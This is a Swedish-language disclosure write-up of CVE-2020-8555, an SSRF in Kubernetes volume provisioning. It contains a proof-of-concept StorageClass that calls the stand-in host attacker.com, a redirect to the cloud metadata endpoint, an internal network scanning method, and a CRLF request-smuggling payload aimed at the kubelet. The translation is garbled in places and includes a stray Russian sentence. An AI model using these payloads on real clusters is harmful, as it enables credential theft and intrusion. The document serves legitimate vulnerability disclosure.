🥇När det handlar om mer än bara sårbarhet i Kubernetes…

Obs. övers.: författarna till denna artikel beskriver i detalj hur de lyckades upptäcka en sårbarhet CVE-2020–8555 i Kubernetes. Även om den från början verkade vara inte så farlig, visade den sig vara kritisk i kombination med andra faktorer för vissa molnleverantörer. De specialister som genomförde arbetet belönades generöst av flera organisationer.

Vem är vi

Vi är två franska säkerhetsforskare som gemensamt har upptäckt en sårbarhet i Kubernetes. Vi heter Brice Augras och Christophe Hauquiert, men på många Bug Bounty-plattformar är vi kända som Reeverzax respektive Hach:

Brice Augras — Groupe Asten Company;
Christophe Hauquiert — Kubernetes-arkitekt på Nokia.

Vad hände?

Denna artikel är vårt sätt att berätta hur ett vanligt forskningsprojekt oväntat förvandlades till det mest spännande äventyret i livet för bugghunters (åtminstone hittills).

Som ni kanske vet, har bugghunters ett par anmärkningsvärda egenskaper:

de lever på pizza och öl;
de arbetar när alla andra sover.

Vi är inget undantag från dessa regler: vi träffas vanligtvis på helger och har sömnlösa hackernätter. Men en av dessa nätter slutade på ett ganska ovanligt sätt.

Ursprungligen planerade vi att träffas för att diskutera deltagande i CTF nästa dag. Under diskussionen om säkerheten i Kubernetes i en hanterad tjänstemiljö kom vi ihåg en gammal idé om SSRF (Server-Side Request Forgery) och beslöt att försöka använda den som en attackvektor.

Klockan 11 satte vi oss ner för att forska, och gick till sängs tidigt på morgonen, ganska nöjda med resultaten. Just på grund av dessa forskning upptäckte vi MSRC Bug Bounty-programmet och kom på en exploatering för privilegieförhöjning.

Flera veckor/månader gick, och vårt oväntade resultat ledde till en av de högsta belöningarna i historien för Azure Cloud Bug Bounty — utöver den vi fick från Kubernetes!

Som ett resultat av vårt forskningsprojekt publicerade Kubernetes Product Security Committee CVE-2020–8555.

Nu skulle vi vilja sprida informationen om den upptäckta sårbarheten så mycket som möjligt. Vi hoppas att ni uppskattar upptäckten och delar tekniska detaljer med andra medlemmar i infosec-gemenskapen!

Så här är vår historia…

Kontext

För att fullt ut förklara vad som har hänt, låt oss först titta på hur Kubernetes fungerar i en molnbaserad hanterad miljö.

När du skapar ett cluster av Kubernetes i en sådan miljö ansvarar vanligtvis molnleverantören för driften av kontrollskiktet:

Kontrollskiktet ligger i molnleverantörens perimeter, medan Kubernetes-noderna finns i kundens perimeter.

För dynamisk tilldelning av volymer används en mekanism för dynamisk provisionering från en extern storage-backend och koppling till PVC (persistent volume claim, d.v.s. begäran om volym).

Så snart PVC har skapats och kopplats till en StorageClass i K8s-klustret tar kube/cloud controller manager över ytterligare åtgärder för att tillhandahålla volymen (det exakta namnet beror på versionen). (Obs. övers.: Vi har redan skrivit om CCM med exempel på dess implementation för en av molnleverantörerna. här.)

Det finns flera typer av provisioners som stöds av Kubernetes: de flesta av dessa är inkluderade i orkestratorns kärna,och andra hanteras av extra provisioners som finns i pods i klustret.

I vår forskning fokuserade vi på den interna mekanismen för volymprovisionering, som illustreras nedan:

Dynamisk provisionering av volymer med hjälp av den inbyggda provisionern i Kubernetes.

Sammanfattningsvis, när Kubernetes är implementerat i en hanterad miljö ansvarar molnleverantören för controller manager, men begäran om att skapa en volym (nummer 3 i diagrammet ovan) lämnar den interna nätverksgränsen för molnleverantören. Och här blir situationen verkligen intressant!

Säkerhetsöversikt

I detta avsnitt kommer vi att beskriva hur vi utnyttjade den nämnda arbetsflödet för att få tillgång till molnleverantörens interna resurser. Dessutom kommer vi att visa hur vissa åtgärder kan genomföras — till exempel att få interna autentiseringsuppgifter eller att genomföra en privilegierad höjning.

En enkel manipulation (i det här fallet en Service Side Request Forgery) hjälpte till att gå utanför kundens miljö i kluster av olika tjänsteleverantörer som hanterar K8s.

I våra undersökningar fokuserade vi på provisionern GlusterFS. Trots att den efterföljande handlingssekvensen beskrivs i detta sammanhang, är samma sårbarhet även närvarande i Quobyte, StorageOS och ScaleIO.

Missbruk av mekanismen för dynamisk tilldelning av volymer

Under analysen av lagringsklassen GlusterFS i källkoden för klienten i Golang noterade vi att vid den första HTTP-förfrågan (3), som skickades under skapandet av volymen, läggstill slutet av användarens URL i parametern resturl detta ytterligare sökväg /volumes.

bestämde vi oss för att bli av med genom att lägga till # i parametern resturl. Här är den första YAML-konfigurationen som vi använde för att kontrollera för en "semi-blind" SSRF-sårbarhet (mer information om semi-blind eller half-blind SSRF kan läsa, till exempel, här — anm. red.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Sedan använde vi en körbar fil för att fjärrstyra Kubernetes-klustret kubectl. Vanligtvis tillåter molnleverantörer (Azure, Google, AWS osv.) att få autentiseringsuppgifter för att använda dem i detta verktyg.

Tack vare detta lyckades vi också använda vår "speciella" fil. Kube-controller-manager utförde den resulterande HTTP-förfrågan:

kubectl create -f sc-poc.yaml

Svaret från angriparens perspektiv

Kort därefter lyckades vi också få HTTP-svaret från den målsatta servern — via kommandona describe pvc eller get events i kubectl. Och faktiskt: denna Kubernetes-drivrutin är som standard för voluminös i sina varningar/felmeddelanden…

Här är ett exempel med referens till https://www.google.fr, inställt som parameter resturl:

kubectl describe pvc poc-ssrf
# eller så kan du använda kubectl get events

Inom detta tillvägagångssätt var vi begränsade till förfrågningar av typen HTTP POST och kunde inte få innehållet i svarskroppen om returkoden var 201. Därför beslutade vi att genomföra ytterligare forskning och utvidgade detta hackningsscenario med nya angreppssätt.

Utvecklingen av våra forskningar

Avancerat scenario #1: användning av 302-omdirigering från en extern server för att ändra HTTP-metoden för att få ett mer flexibelt sätt att samla in interna data.
Avancerat scenario #2: automatisering av LAN-skanning och upptäckte interna resurser.
Avancerat scenario nr 3: användning av HTTP CRLF + smuggling av förfrågningar för att skapa anpassade HTTP-förfrågningar och hämta data från kube-controller-loggar.

Tekniska specifikationer

I studierna användes Azure Kubernetes Service (AKS) med Kubernetes version 1.12 i regionen Norra Europa.
De ovan beskrivna scenarierna utfördes på de senaste versionerna av Kubernetes, förutom det tredje scenariot, som krävde Kubernetes sammanställt med Golang version ≤ 1.12.
Angriparens externa server — https://attacker.com.

Avancerat scenario nr 1: omdirigera HTTP POST-förfrågan till GET och hämta konfidentiella data

Den ursprungliga metoden förbättrades av angriparens serverkonfiguration för att återlämna 302 HTTP Retcode, för att konvertera POST-förfrågan till GET-förfrågan (steg 4 i schemat):

Den första förfrågan (3) som skickas av klienten GlusterFS (Controller Manager) är av typen POST. Genom att genomföra följande steg lyckades vi omvandla den till GET:

Som parameter resturl anges i StorageClass http://attacker.com/redirect.php.
Endpoint svarar med HTTP-statuskod 302 med följande Location-header: https://attacker.com/redirect.php . Det kan vara vilken annan intern resurs som helst - i detta fall används redirect-länken enbart som ett exempel. http://169.254.169.254biblioteket net/http
Som standard i Golang omdirigerar förfrågan och konverterar POST till GET med 302-statuskod, vilket resulterar i att en HTTP GET-förfrågan skickas till den angivna resursen. För att läsa kroppen av HTTP-svaret måste man göra

describe objektet PVC: kubectl describe pvc xxx

Här är ett exempel på ett HTTP-svar i JSON-format som vi lyckades få:

Möjligheterna hos den funna sårbarheten var vid den tidpunkten begränsade på grund av följande faktorer:

Oförmåga att infoga HTTP-header i den utgående förfrågan.

Oförmåga att utföra POST-förfrågan med parametrar i kroppen (det är så praktiskt att begära nyckelvärdet från en etcd-instans som körs på
porten, om okrypterad HTTP används). 2379 Oförmåga att få innehållet i svarskroppen när statuskoden var 200 och svaret inte hade JSON Content-Type.
Avancerat scenario nr 2: skanning av det lokala nätverket

Denna metod för half-blind SSRF användes därefter för att skanna den interna nätverket hos molnleverantören och undersöka olika lyssnande tjänster (Metadata-exemplaret, Kubelet, etcd osv.) baserat på svaren

från kube-controller. Först identifierades de standardiserade lyssnande portarna för Kubernetes-komponenter (8443, 10250, 10251 osv.), och sedan var det nödvändigt att automatisera skanningsprocessen..

Сперва были определены стандартные слушающие порты компонентов Kubernetes (8443, 10250, 10251 и т.д.), а затем пришлось автоматизировать процесс сканирования.

Med tanke på att denna skanningsmetod är mycket specifik och inte kompatibel med klassiska skannrar och SSRF-verktyg, beslutade vi att skapa egna workers i ett bash-skript som automatiserar hela processen.

Till exempel, för att snabbare skanna intervallet 172.16.0.0/12 i det interna nätverket, startades 15 workers parallellt. Det angivna IP-intervallet valdes enbart som ett exempel och kan ändras till det specifika IP-intervallet från tjänsteleverantören.

För att skanna en enda IP-adress och en port måste du göra följande:

ta bort det verifierade StorageClass från föregående gång;
ta bort den tidigare verifierade Persistent Volume Claim;
ändra värdena för IP och Port i sc.yaml;
skapa ett StorageClass med det nya IP:t och porten;
skapa en ny PVC;
extrahera skanningsresultaten med hjälp av describe för PVC.

Avancerat scenario nr 3: CRLF-injektion + smuggling av HTTP i "gamla" versioner av Kubernetes-klustret

Om leverantören dessutom erbjöd kunderna äldre versioner av K8s-klustret och och gav dem tillgång till loggarna för kube-controller-manager, blev effekten ännu större.

Det är mycket mer bekvämt för en angripare att ändra HTTP-förfrågningar enligt eget önskemål för att få det kompletta HTTP-svaret.

För att genomföra det sista scenariot måste följande villkor uppfyllas:

Användaren måste ha tillgång till loggarna för kube-controller-manager (som till exempel i Azure LogInsights).
Kubernetes-klustret måste använda en version av Golang som är äldre än 1.12.

Vi satte upp en lokal miljö som imiterade datakommunikationen mellan Go-klienten GlusterFS och en falsk måltjänst (vi avstår från att publicera PoC för tillfället).

En sårbarhet har upptäckts sårbarhet, som påverkar versioner av Golang som är äldre än 1.12 och möjliggör HTTP smuggling/CRLF-attacker för hackare.

Genom att kombinera ovanstående half-blind SSRF tillsammans med denna, kunde vi skicka förfrågningar enligt vår egen vilja, inklusive att byta ut huvuden, HTTP-metod, parametrar och data som kube-controller-manager sedan bearbetade.

Här är ett exempel på en fungerande "fälla" i parametern resturl StorageClass, som implementerar ett sådant angreppsscenario:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

Resultatet blir ett fel unsolicited response, ett meddelande om vilket registreras i kontrollerloggarna. Tack vare den förvalda

det var vårt mest framgångsrika

Genom att använda detta tillvägagångssätt kunde vi genomföra några av följande attacker i kluster från olika leverantörer av managed k8s: privilegiehöjning med åtkomst till metadata-instansers autentiseringsuppgifter, DoS mot mästaren via (okrypterade) HTTP-förfrågningar till master-exemplaren etcd, och mer.

Konsekvenser

I det officiella uttalandet från Kubernetes angående den SSRF-sårbarhet vi upptäckte tilldelades den en bedömning CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Om vi endast betraktar sårbarheten kopplad till Kubernetes-gränsen, kvalificeras integritetens vektor (integrity vector) i den som None.

Men bedömningen av möjliga konsekvenser i kontexten av en hanterad tjänstemiljö (och det var den mest intressanta delen av vår forskning!) fick oss att omklassificera sårbarheten till bedömningen Kritisk CVSS10/10 för många distributörer.

Nedan följer ytterligare information som kan hjälpa till att förstå vad vi grundade vår bedömning av möjliga konsekvenser i molnmiljöer på:

Integritet

Fjärrkörning av kommandon med hjälp av de interna autentiseringsuppgifterna som erhållits.
Återupprepning av ovanstående scenario genom IDOR-metoden (Insecure Direct Object Reference, det vill säga osäkra direkta hänvisningar till objekt) med andra resurser som hittats i det lokala nätverket.

Sekretess

Attacktyp Lateral Movement genom stöld av molnautentiseringsuppgifter (t.ex. metadata API).
Informationsinsamling genom scanning av det lokala nätverket (bestämning av SSH-version, HTTP-serverns version, …).
Informationsinsamling om instanser och infrastruktur genom förfrågningar till interna API:er, såsom metadata API (http://169.254.169.254, …).
Stöld av kunddata med hjälp av molnautentiseringsuppgifter.

Tillgänglighet

Alla exploateringsanvändningsscenarier relaterade till attackvektorer för integritet (integrity), kan användas för destruktiva handlingar och leda till att master-instanser från kundens perimeter (eller någon annan) blir otillgängliga.

Eftersom vi befann oss i en hanterad K8s-miljö och bedömde påverkan på integriteten, kan vi föreställa oss en mängd scenarier som kan påverka tillgängligheten. Som ytterligare exempel kan vi nämna korruption av etcd-databasen eller att göra ett kritiskt anrop till Kubernetes API.

Tidslinje

6 december 2019: meddelande om upptäckta sårbarheter skickas till MSRC Bug Bounty.
3 januari 2020: en tredje part informerade Kubernetes-utvecklarna att vi arbetade med ett säkerhetsproblem. De bad oss att betrakta SSRF som en in-core sårbarhet. Efter det presenterade vi en sammanfattande rapport med tekniska detaljer om källan till problemet.
15 januari 2020: vi gav Kubernetes-utvecklarna tekniska och allmänna rapporter på deras begäran (via HackerOne-plattformen).
15 januari 2020: Kubernetes-utvecklarna informerade oss om att half-blind SSRF + CRLF-injektion för tidigare versioner betraktas som en in-core sårbarhet. Vi slutade omedelbart analysera andra tjänsteleverantörers perimetrar; huvudorsaken togs nu hand om av K8s-teamet.
15 januari 2020: belöning mottagen från MSRC via HackerOne.
16 januari 2020: Kubernetes PSC (Product Security Committee) erkände sårbarheten och bad att hålla den hemlig till mitten av mars på grund av det stora antalet potentiella offer.
11 februari 2020: belöning mottagen från Google VRP.
4 mars 2020: belöning mottagen från Kubernetes via HackerOne.
15 mars 2020: det ursprungligen planerade offentliga avslöjandet sköts upp på grund av COVID-19-situationen.
1 juni 2020: gemensamt uttalande från Kubernetes + Microsoft om sårbarheten.

TL;DR

Vi dricker öl och äter pizza 🙂
Vi upptäckte en in-core sårbarhet i Kubernetes, trots att vi inte alls hade tänkt göra det.
Vi gjorde en ytterligare analys i kluster av olika molnleverantörer och kunde öka skadan orsakad av sårbarheten för att få fler fantastiska bonusar.
I denna artikel hittar du många tekniska detaljer. Vi diskuterar gärna dessa med dig (Twitter: @ReeverZax & @__hach_).
Det visade sig att alla formella processer och rapportskrivande tog mycket mer tid än förväntat.